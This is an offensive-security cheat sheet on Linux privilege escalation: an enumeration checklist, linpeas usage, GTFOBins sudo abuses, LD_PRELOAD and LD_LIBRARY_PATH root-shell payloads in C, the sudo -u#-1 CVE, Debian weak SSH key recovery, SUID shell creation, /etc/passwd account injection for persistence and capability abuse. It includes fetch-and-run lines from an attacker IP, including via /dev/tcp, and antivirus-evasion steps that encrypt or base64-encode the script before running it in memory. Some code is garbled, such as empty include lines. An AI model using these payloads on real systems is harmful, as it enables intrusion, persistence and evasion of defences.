# Unix Priv Esca ### Privilege Escalation #### Global * [ ] Identify the Linux distribution and Kernel version * [ ] Check for credentials in web application configuration files * [ ] Check interesting directories (e.g. `/opt`, `/var/mail`, etc.) * [ ] Check capabilities * [ ] Check if `sudo` version is vulnerable ([CVE-2023–22809](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22809)) * [ ] Internal Nmap scan * [ ] Check PwnKit * [ ] Check LogRotate (versions 3.8.8, 3.11.0, 3.15. and 3.18.0) * [ ] Monitor processes. Look for anything interesting. * [ ] Look for writable Docker socket files. * [ ] Look for Tmux sessions that can be hijacked * [ ] Check for NFS shares with `no_root_squash` enabled * [ ] Check kernel exploits (e.g. DirtyCow, DirtyPipe) * [ ] Listen to traffic using TcpDump. Any cleartext credential? #### Per User * [ ] Check which groups user belongs to * [ ] Check `sudo` rights * [ ] Check for environment variables * [ ] Look for ssh keys on home directory * [ ] Check for hidden files in home directory * [ ] Check history files on home directory * [ ] Hunt for interesting files * [ ] Enumerate SUID / GUID binaries * [ ] Check for exploitable cronjobs: * [ ] System-wide cronjobs * [ ] User-specific cronjobs * [ ] Monitor processes for regularly repeating commands, suggesting a hidden cron job. * [ ] Try to read other user’s home directory (`.ssh/id_rsa`, `.bash_history`, etc.) * [ ] Try using user’s password for other users * [ ] Run `linpeas.sh` {% hint style="success" %} Hack Responsibly. Always ensure you have **explicit** permission to access any computer system **before** using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here. {% endhint %} TODO: Add contents links at the top of each page, and references section at the bottom...Add code examples and perhaps screenshots for each example ### Tools * [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot) * [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker) * [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check) * [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER) ### `linpeas.sh` **Execute from github** ```bash curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh ``` **Execute from attacker's machine** ```bash sudo python -m SimpleHTTPServer 80 curl 10.10.10.10/linpeas.sh | sh ``` **Execute from attacker's machine (Without curl)** ```bash sudo nc -q 5 -lvnp 80 < linpeas.sh cat < /dev/tcp/10.10.10.10/80 | sh ``` **Output to file** ```bash # -a to execute all the checks linpeas -a > /dev/shm/linpeas.txt #Read with colors less -r /dev/shm/linpeas.txt ``` #### AV bypass **Using open-ssl encryption** ```bash openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc #Start HTTP server sudo python -m SimpleHTTPServer 80 #Download from the victim's machine curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh ``` **Using a base64-encoded payload** ```bash #convert to base64 base64 -w0 linpeas.sh > lp.enc #Start HTTP server sudo python -m SimpleHTTPServer 80 #Download from the victim, decode from base64, run in-memory curl 10.10.10.10/lp.enc | base64 -d | sh #or wget -O - http://10.10.10.10/lp.enc | base64 -d | sh ``` ### /etc/passwd #### Add Account & Password to /etc/passwd * Generate password with `openssl passwd -1 -salt $username $password` * Add to `/etc/passwd` file which is in the format: * `$UserName:$generated_password:$UID:$GUID:$comment:$home_dir:$default_shell` * (assumes you have write privilege to this file!). * Can be used for persistence. **Create SHA512 password hash for import into passwd file:** ```python python -c "import crypt, getpass, pwd; \ print(crypt.crypt('password', '\$6\$saltsalt\$'))" -or- python -c 'import crypt,getpass; \ print(crypt.crypt(getpass.getpass(), crypt.mksalt(crypt.METHOD_SHA512)))' -or- python -c 'import crypt; \ print(crypt.crypt("somesecret", crypt.mksalt(crypt.METHOD_SHA512)))' ``` **Create SHA1 password hash:** ```bash sha1pass $mypassword ``` ### GTFOBins > GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. After finding binaries with SUID or other possible root permissions, you can search this site for privilege escalation methods. You can also find a similar project for Windows at [LOLBAS](https://lolbas-project.github.io/). **Examples:** Privilege Escalation to Root with `find`: ```bash sudo find /etc -exec sh -i \; ``` Execute any command while in `less`: ```bash !$command ``` Escalate to root shell if your user can `sudo` any of these text editors: ```bash #vi 1. [user@localhost]$ sudo vi 2. :shell 3. [root@localhost]# #-or- sudo vim -c '!sh' #-or sudo -u root vim -c '!sh' #less 1. [user@localhost]$ sudo less file.txt 2. !bash 3. [root@localhost]# #more 1. [user@localhost]$ sudo more long_file.txt 2. !bash 3. [root@localhost]# #Note: for the 'more' method to work, the attacker has to read a file #that is longer than one terminal screen high ``` ### Sudo The `sudo` command allows non-root users to run commands that would normally require super user privileges. Its configuration file is `/etc/sudoers` and lists user's permissions while using `sudo`. #### NOPASSWD A `sudo` configuration that allows a user to execute specified commands with another user privileges without knowing the password. ```bash $ sudo -l User zweilos may run the following commands on kali: (root) NOPASSWD: /usr/bin/vim ``` In this example the user `zweilos` can run `vim` as `root`. Any files can now be read or written to, for example adding an SSH key into the `/root/.ssh` directory. `vim` can also be used to gain a root shell or run programs with `!`. #### LD\_PRELOAD **LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library, including the C runtime library (libc.so). This is called preloading a library. 1. Check if `LD_PRELOAD` is explicitly defined in the `/etc/sudoers` file: ```bash #Check in /etc/sudoers for a line with env_keep += LD_PRELOAD Defaults env_keep += LD_PRELOAD # or check with sudo -l user@debian:~$ sudo -l Matching Defaults entries for user on this host: env_reset, env_keep+=LD_PRELOAD ``` 2\. Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles` ```c #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); } ``` 3\. Execute any binary along with the LD\_PRELOAD shared object to spawn a shell : `sudo LD_PRELOAD= ` #### **LD\_LIBRARY\_PATH** **LD\_LIBRARY\_PATH** provides a list of directories where shared libraries are searched for first. Run `ldd` against the any program that you can execute as `sudo` to see which shared libraries are used by the program: `ldd /usr/sbin/apache2` Create a shared object with the same name as one of the listed libraries (ex. `libcrypt.so.1`) using the code located at `/home/user/tools/sudo/library_path.c`: ```c /* Library_path.c */ #include #include static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); } ``` Then compile the program with `gcc`. ```bash gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c ``` Run program using `sudo`, while settings the `LD_LIBRARY_PATH` environment variable to `/tmp` (where we output the compiled shared object): ```bash sudo LD_LIBRARY_PATH=/tmp program-name-here ``` #### sudo\_inject Using : ```bash $ sudo $command [sudo] password for user: # Press Ctrl+c since you don't have the password, which creates an invalid sudo token $ sh exploit.sh .... wait 1 seconds $ sudo -i # no password required :) # id uid=0(root) gid=0(root) groups=0(root) ``` You can find presentation slides about this tool at: #### sudo version < 1.8.28 (CVE-2019-14287) An issue in `sudo` (version 1.8.28 and earlier), which occurs when an entry is inserted into the sudoers file with permissions = (ALL, !root): ``` zweilos kali = (ALL, !root) /usr/bin/chmod ``` This entry normally would mean that user `zweilos` is allowed to run `chmod` as any user except the root user, however, an error in these versions of `sudo` allows an attacker to run the specified programs in the `/etc/sodoers` file as root by telling `sudo` to act as user ID number `-1` (or its unsigned number `4294967295`),which is then interpreted as user ID `0` or `root`. ``` sudo -u#-1 id 0 sudo -u#4294967295 id 0 ``` #### Using scripting languages **If you have privilege to run PERL as other user** ```bash sudo -u victim perl -e 'system("/bin/bash")' ``` **If you have privilege to run PYTHON as other user** ```python sudo -u victim python >>> from subprocess import call >>> call('id') uid=0(root) gid=0(root) groups=0(root) >>> call('/bin/bash') ``` **If you have privilege to run RUBY as other user** ```ruby sudo -u victim /usr/bin/ruby -e 'require "irb" ; IRB.start(__FILE__)' irb(main):005:0> `id` #(test to see user context) => "uid=1001(victim) gid=1001(victim) groups=1001(victim)\n" irb(main):005:0> `"/bin/bash"` ``` **If you have privilege to run JAVA as other user** ```java sudo -u victim node -e "var exec = require('child_process').exec; exec('$COMMAND', function (error, stdOut, stdErr) { console.log(stdOut); });" ``` ### doas (OpenBSD) There are some alternatives to `sudo` such as `doas` for OpenBSD. You can check its configuration in `/etc/doas.conf`. This configuration has a different syntax than `/etc/sudoers`. ```bash #this is the same as the /etc/sudoers example with NOPASSWD permit nopass zweilos as root cmd vim ``` ### SSH #### SSH Predictable PRNG (Authorized\_Keys) Key Recovery Process This module describes how to attempt to use an obtained `authorized_keys` file on a host system to login to a remote host by using a SSH-DSS string. **Steps** 1. Get the `authorized_keys` file from the victim's system. An example of this file would look like: ```shellscript ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ... ``` 2\. Since this is an `ssh-dss` key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`: ```shellscript echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshs_config /etc/init.d/ssh restart ``` 3\. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys: ```shellscript git clone https://github.com/g0tmi1k/debian-ssh cd debian-ssh tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2 ``` 4\. Grab the first 20 or 30 bytes from the key file shown above starting with `"AAAA..."` and search the unpacked keys with `grep`: ```shellscript grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf' dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub ``` 5\. If successful, this will return a public key file (68b329da9893e34099c7d8ad5cb9c940-17934.pub). To use this as a private key file to connect to the victim, drop the '.pub' extension and do: ```shellscript ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934 ``` After this you should be able to connect without requiring a password. If stuck, the details from `-vvv` (verbose mode) should provide enough details as to why. ### SUID Permissions SUID (or setuid) stands for "Set user ID upon execution". If a file with this permission is ran, the user's ID will effectively be set to the file owner's (for that program only). For example, if a file with SUID permissions is owned by `root`, during the execution of that program the user ID will be changed to `root` even if it was executed from the unprivileged user `bob`. The SUID bit is represented by an `s` in the file permissions. #### Find SUID binaries ```bash find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; find / -uid 0 -perm -4000 -type f 2>/dev/null ``` #### Create a SUID binary ```bash print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c gcc -o /tmp/suid /tmp/suid.c sudo chmod +x /tmp/suid # add execute permission sudo chmod +s /tmp/suid # add suid permission #Executing this program will give the user a root shell. #Note that sudo rights are required to accomplish this. ``` ### File Capabilities What are Linux capabilities? BLUF: Capabilities break up root privileges in smaller units, so root access is no longer needed. Most of the binaries that have SUID permissions can be changed to use capabilities instead, which in turn increases security. TODO: rewrite this for clarity and brevity > Normally the root user (or any ID with UID of 0) gets a special treatment when running processes. The kernel and applications are usually programmed to skip the restriction of some activities when seeing this user ID. In other words, this user is allowed to do (almost) anything. Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. > > Why capabilities? To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve. Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions. > > Option 1: Giving everyone root permissions One of the solutions is to allow some permissions (by default) to all users. There is a serious flaw in this approach. Allowing this kind of permissions, for all users, would open up the system for a flood of system abuse. The reason is that every small opportunity is being used for good, but also for bad. Giving away too many privileges by default will result in unauthorized changes of data, backdoors and circumventing access controls, just to name a few. > > Option 2: Using a fine-grained set of privileges For example, a web server normally runs at port 80. To start listening on one of the lower ports (<1024), you need root permissions. This web server daemon needs to be able to listen to port 80. However, it does not need access to kernel modules as that would be a serious threat to the integrity of the system!. Instead of giving this daemon all root permissions, we can set a capability on the related binary, like CAP\_NET\_BIND\_SERVICE. With this specific capability, it can open up port 80. Much better! > > Replacing setuid with capabilities Assigning the setuid bit to binaries is a common way to give programs root permissions. Linux capabilities is a great alternative to reduce the usage of setuid. | Capabilities name | Description | | --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | **CAP\_AUDIT\_CONTROL** | Allow to enable/disable kernel auditing | | **CAP\_AUDIT\_WRITE** | Helps to write records to kernel auditing log | | **CAP\_BLOCK\_SUSPEND** | This feature can block system suspends | | **CAP\_CHOWN** | Allow user to make arbitrary change to files UIDs and GIDs | | **CAP\_DAC\_OVERRIDE** | This helps to bypass file read, write and execute permission checks | | **CAP\_DAC\_READ\_SEARCH** | This only bypass file and directory read/execute permission checks | | **CAP\_FOWNER** | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file | | **CAP\_KILL** | Allow the sending of signals to processes belonging to others | | **CAP\_SETGID** | Allow changing of the GID | | **CAP\_SETUID** | Allow changing of the UID | | **CAP\_SETPCAP** | Helps to transferring and removal of current set to any PID | | **CAP\_IPC\_LOCK** | This helps to lock memory | | **CAP\_MAC\_ADMIN** | Allow MAC configuration or state changes | | **CAP\_NET\_RAW** | Use RAW and PACKET sockets | | **CAP\_NET\_BIND\_SERVICE** | SERVICE Bind a socket to internet domain privileged ports | #### List capabilities of files ```bash #Recursively list capabilities of files in a folder: getcap -r /usr/bin ... /usr/bin/fping = cap_net_raw+ep /usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep /usr/bin/rlogin = cap_net_bind_service+ep /usr/bin/ping = cap_net_raw+ep /usr/bin/rsh = cap_net_bind_service+ep /usr/bin/rcp = cap_net_bind_service+ep ... ``` #### Editing file capabilities ```bash /usr/bin/setcap -r /bin/ping # remove all capabilities /usr/bin/setcap cap_net_raw+p /bin/ping # add specific capabilities ``` #### Privilege escalation using file capabilities The capability `=ep` means the binary has all capabilities. ```bash $ getcap openssl /usr/bin/openssl openssl=ep ``` The following capabilities can also be used in order to upgrade your current privileges: Read any file: `cap_dac_read_search` SUID: `cap_setuid+ep` Example of privilege escalation with `cap_setuid+ep` ```bash sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7 python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' id #uid=0(root) gid=1000(zweilos) ``` ### Misc list user's sudo permissions: `sudo -l` wildcard injection: \[NEED MORE HERE] ```bash mawk 'BEGIN {system("/bin/sh")}' ``` ### References * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Linux - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) - @swisskyrepo * * * * * * *